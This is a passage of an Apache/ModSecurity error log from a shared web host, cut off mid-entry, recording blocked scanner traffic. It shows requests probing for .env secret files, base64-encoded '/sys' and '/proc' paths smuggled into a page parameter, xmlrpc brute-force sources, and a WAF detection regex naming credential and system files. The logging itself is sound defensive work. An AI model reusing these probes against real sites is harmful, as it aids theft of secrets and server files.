by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:17:49.724322 2026] [access_compat:error] [pid 646876:tid 646977] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2RldmljZQ== [Sat Jun 13 18:17:49.802127 2026] [security2:error] [pid 646876:tid 647001] [remote 17.246.15.229:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 229.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zLdyTkdrNlD40tSGxYgAABno"] [Sat Jun 13 18:17:49.808474 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.15:64975] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:49.808822 2026] [access_compat:error] [pid 648189:tid 648333] [remote 57.141.14.15:64975] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:49.837204 2026] [security2:error] [pid 646876:tid 647114] [client 185.177.72.9:30670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/new-js/.env"] [unique_id "ai3zLdyTkdrNlD40tSGxZAAAAGo"] [Sat Jun 13 18:17:49.856811 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.39:51952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:49.857230 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.39:51952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:49.870024 2026] [security2:error] [pid 648189:tid 648309] [remote 17.241.75.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zLVWSojQL4F7upKBo8QAAnlc"] [Sat Jun 13 18:17:49.961329 2026] [access_compat:error] [pid 648189:tid 648345] [remote 74.7.242.16:48976] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:17:49.961821 2026] [access_compat:error] [pid 648189:tid 648345] [remote 74.7.242.16:48976] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:17:49.962957 2026] [security2:error] [pid 648189:tid 648392] [client 172.56.168.133:38636] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zLVWSojQL4F7upKBo9QAAAKw"] [Sat Jun 13 18:17:49.963199 2026] [security2:error] [pid 648189:tid 648392] [client 172.56.168.133:38636] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3zLVWSojQL4F7upKBo9QAAAKw"] [Sat Jun 13 18:17:49.980357 2026] [security2:error] [pid 646876:tid 647065] [client 185.177.72.9:30670] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/new.php"] [unique_id "ai3zLdyTkdrNlD40tSGxaQAAADk"] [Sat Jun 13 18:17:50.150266 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.66:38250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:50.150736 2026] [access_compat:error] [pid 648189:tid 648348] [remote 57.141.14.66:38250] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:50.198891 2026] [security2:error] [pid 648189:tid 648230] [remote 17.241.75.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zLlWSojQL4F7upKBo_wAAsAo"] [Sat Jun 13 18:17:50.254687 2026] [security2:error] [pid 646876:tid 647051] [client 185.177.72.9:30676] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/news-app/.env"] [unique_id "ai3zLtyTkdrNlD40tSGxcQAAACs"] [Sat Jun 13 18:17:50.277306 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:17:50.277593 2026] [access_compat:error] [pid 646876:tid 646981] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9ldmVudDQvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:17:50.349942 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.33:31731] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:50.350251 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.33:31731] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:50.390501 2026] [security2:error] [pid 646876:tid 647111] [client 185.177.72.9:30676] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/next/.env"] [unique_id "ai3zLtyTkdrNlD40tSGxdwAAAGc"] [Sat Jun 13 18:17:50.526000 2026] [security2:error] [pid 646876:tid 647069] [client 185.177.72.9:30676] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/nginx-server/.env"] [unique_id "ai3zLtyTkdrNlD40tSGxewAAAD0"] [Sat Jun 13 18:17:50.661437 2026] [security2:error] [pid 646876:tid 647013] [client 185.177.72.9:30676] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/niffler-frontend/.env"] [unique_id "ai3zLtyTkdrNlD40tSGxfQAAAAU"] [Sat Jun 13 18:17:50.771153 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.8:26573] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:50.771417 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.8:26573] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:50.796576 2026] [security2:error] [pid 646876:tid 647063] [client 185.177.72.9:30676] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/node_modules/.env"] [unique_id "ai3zLtyTkdrNlD40tSGxggAAADc"] [Sat Jun 13 18:17:50.807953 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:17:50.808346 2026] [access_compat:error] [pid 646876:tid 646949] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL3Bvd2Vy [Sat Jun 13 18:17:50.881962 2026] [security2:error] [pid 648189:tid 648280] [remote 17.246.15.237:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 237.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zLlWSojQL4F7upKBpDwAA4To"] [Sat Jun 13 18:17:50.933893 2026] [security2:error] [pid 646876:tid 647125] [client 185.177.72.9:30676] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Nodejs-Projects/play-ground/login/.env"] [unique_id "ai3zLtyTkdrNlD40tSGxhQAAAHU"] [Sat Jun 13 18:17:50.943097 2026] [lsapi:warn] [pid 646876:tid 647078] [client 47.79.201.80:12370] [host www.craigbrownphd.com] Backend log: PHP Warning: Trying to access array offset on value of type bool in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/widget-base.php on line 224\n, referer: https://www.google.com/ [Sat Jun 13 18:17:50.943189 2026] [lsapi:warn] [pid 646876:tid 647078] [client 47.79.201.80:12370] [host www.craigbrownphd.com] Backend log: PHP Warning: Undefined array key -1 in /home1/craigbro/public_html/wp-content/plugins/elementor/includes/base/controls-stack.php on line 696\n, referer: https://www.google.com/ [Sat Jun 13 18:17:51.048084 2026] [security2:error] [pid 646876:tid 646947] [remote 17.22.237.21:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 21.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zL9yTkdrNlD40tSGxiQAAFkQ"] [Sat Jun 13 18:17:51.070406 2026] [security2:error] [pid 646876:tid 647088] [client 185.177.72.9:30676] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Nodejs-Projects/play-ground/ManageUserRoles/.env"] [unique_id "ai3zL9yTkdrNlD40tSGxjAAAAFA"] [Sat Jun 13 18:17:51.107964 2026] [access_compat:error] [pid 646876:tid 646913] [remote 57.141.14.54:25491] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:51.108386 2026] [access_compat:error] [pid 646876:tid 646913] [remote 57.141.14.54:25491] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:51.118609 2026] [access_compat:error] [pid 648189:tid 648242] [remote 57.141.14.49:31303] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:51.119069 2026] [access_compat:error] [pid 648189:tid 648242] [remote 57.141.14.49:31303] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:51.147307 2026] [security2:error] [pid 648189:tid 648394] [client 210.217.96.217:32376] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zL1WSojQL4F7upKBpGAAAAK4"] [Sat Jun 13 18:17:51.147423 2026] [security2:error] [pid 648189:tid 648394] [client 210.217.96.217:32376] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai3zL1WSojQL4F7upKBpGAAAAK4"] [Sat Jun 13 18:17:51.206610 2026] [security2:error] [pid 646876:tid 647060] [client 185.177.72.9:30676] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/noVNC/.env"] [unique_id "ai3zL9yTkdrNlD40tSGxkQAAADQ"] [Sat Jun 13 18:17:51.305741 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:17:51.306045 2026] [access_compat:error] [pid 646876:tid 646886] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZS9zdWJzeXN0ZW0vbW91c2UxL3Bvd2Vy [Sat Jun 13 18:17:51.487668 2026] [security2:error] [pid 646876:tid 647072] [client 185.177.72.9:30676] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Nuke.App.Ui/.env"] [unique_id "ai3zL9yTkdrNlD40tSGxnAAAAEA"] [Sat Jun 13 18:17:51.532738 2026] [security2:error] [pid 648189:tid 648296] [remote 81.103.117.215:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zL1WSojQL4F7upKBpHwAAs0o"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:51.532768 2026] [security2:error] [pid 648189:tid 648296] [remote 81.103.117.215:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3zL1WSojQL4F7upKBpHwAAs0o"], referer: https://www.torquayfans.com [Sat Jun 13 18:17:51.540728 2026] [security2:error] [pid 646876:tid 647052] [client 34.23.213.224:47678] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3zL9yTkdrNlD40tSGxnwAAACw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:17:51.564379 2026] [access_compat:error] [pid 648189:tid 648336] [remote 57.141.14.68:65332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:17:51.564896 2026] [access_compat:error] [pid 648189:tid 648336] [remote 57.141.14.68:65332] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:17:51.623387 2026] [security2:error] [pid 646876:tid 647083] [client 185.177.72.9:30676] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id 